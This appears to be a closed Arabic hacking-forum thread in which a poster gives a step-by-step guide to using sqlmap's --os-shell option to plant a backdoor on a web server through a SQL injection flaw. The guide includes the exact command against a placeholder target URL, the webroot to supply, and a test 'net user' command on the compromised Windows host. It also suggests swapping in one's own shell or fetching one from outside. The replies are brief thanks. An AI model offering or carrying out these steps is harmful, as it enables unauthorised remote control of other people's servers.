حالة الموضوع:
مغلق
  1. H̷e̷l̷l̷ N̷i̷g̷h̷t̷

    H̷e̷l̷l̷ N̷i̷g̷h̷t̷ Developer

    الأنتساب:
    ‏27 أغسطس 2012
    المشاركات:
    47
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    8
    الإقامة:
    JoRdAn
    السلام عليكم

    رفع شيل عن طريق ثغرات sql باستخدام اداة sqlmap

    هذه الخاصية موجودة في اداة sqlmap وشفتها مشروحة في منتدى اجنبي وحبيتها اشرحها لكم

    ندخل في الشرح على طول

    اولا: نفتح موجة الأوامر ونذهب للمسار التالي عن طريق الأمر

    كود PHP:
    cd /pentest/database/sqlmap
    ثانيا: نطبق الأمر التالي

    كود PHP:
    /sqlmap.py -u http://www.site.com/file.php?id=1 --os-shell
    مع استبدال الرابط الى رابط الملف المصاب

    [​IMG]

    ثالثا: راح يطلب منا نوع اللغة التي يدعمها السيرفر وانا السيرفر يلي معي يدعم PHP لذلك ندخل الرقم 3

    [​IMG]

    رابعا: راح يطلب منا مسار الروت للسيرفر وانا السيرفر معي كان ويندوز وادخلت C:/xampp/htdocs/ وطبعا المسار نقدر نطوله من اي خطأ في الموقع او اي خطأ موجود في احدى مواقع السيرفر

    [​IMG]

    خامسا: راح يطلب منا اي مسار موجود في السيرفر حتى يحاول رفع الشيل او الباك دور عليه وانا ادخلت المسار كما في الصورة (سيرفر خاص)

    [​IMG]

    سادسا: تم رفع الباك دور والاتصال بنجاح كما في الصورة

    [​IMG]

    سابعا: نجرب نطبق احد الاوامر وانا زي ما قتلكم السيرفر يلي مستهدفه ويندوز لذلك نطبق احد اوامر الويندوز وليكن net user

    [​IMG]

    تمام تم التطبيق بنجاح وايضا يمكنك استبدال الباك دور بالشيل الخاص بك او جلب شيل من خارج السيرفر او التعديل على اي ملف موجود في السيرفر من خلال الأوامر

    الفكرة هذه موجودة اصلا في اداة sqlmap والمعظم ما يعرفها لذلك قلت اشرحها للشباب واتمنى يكون كل شي واضح

     
    1 person likes this.
  2. abuhemmo

    abuhemmo Developer

    الأنتساب:
    ‏26 مايو 2012
    المشاركات:
    27
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الإقامة:
    مصر التى فى خاطرى
    رد: رفع شيل عن طريق ثغرات sql باستخدام اداة sqlmap

    مشكور آخي


    )5:"​
     
  3. BlacK DemoN

    BlacK DemoN Developer

    الأنتساب:
    ‏14 سبتمبر 2011
    المشاركات:
    48
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: رفع شيل عن طريق ثغرات sql باستخدام اداة sqlmap

    يعطيكـ العاآآفيه
    يشرفني الرد على مواضيعكـ)5:"
     
  4. ĴŎђЙ cĘŇĄ

    ĴŎђЙ cĘŇĄ ExpErt DeveloPer

    الأنتساب:
    ‏4 سبتمبر 2011
    المشاركات:
    62
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    رد: رفع شيل عن طريق ثغرات sql باستخدام اداة sqlmap

    الله يعطيك العافيه يارب ماقصرت واصل يالذيب :{8}:​
     
  5. رماد انسان

    رماد انسان Developer

    الأنتساب:
    ‏31 أكتوبر 2012
    المشاركات:
    16
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: رفع شيل عن طريق ثغرات sql باستخدام اداة sqlmap

    بارك الله فيك ​
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة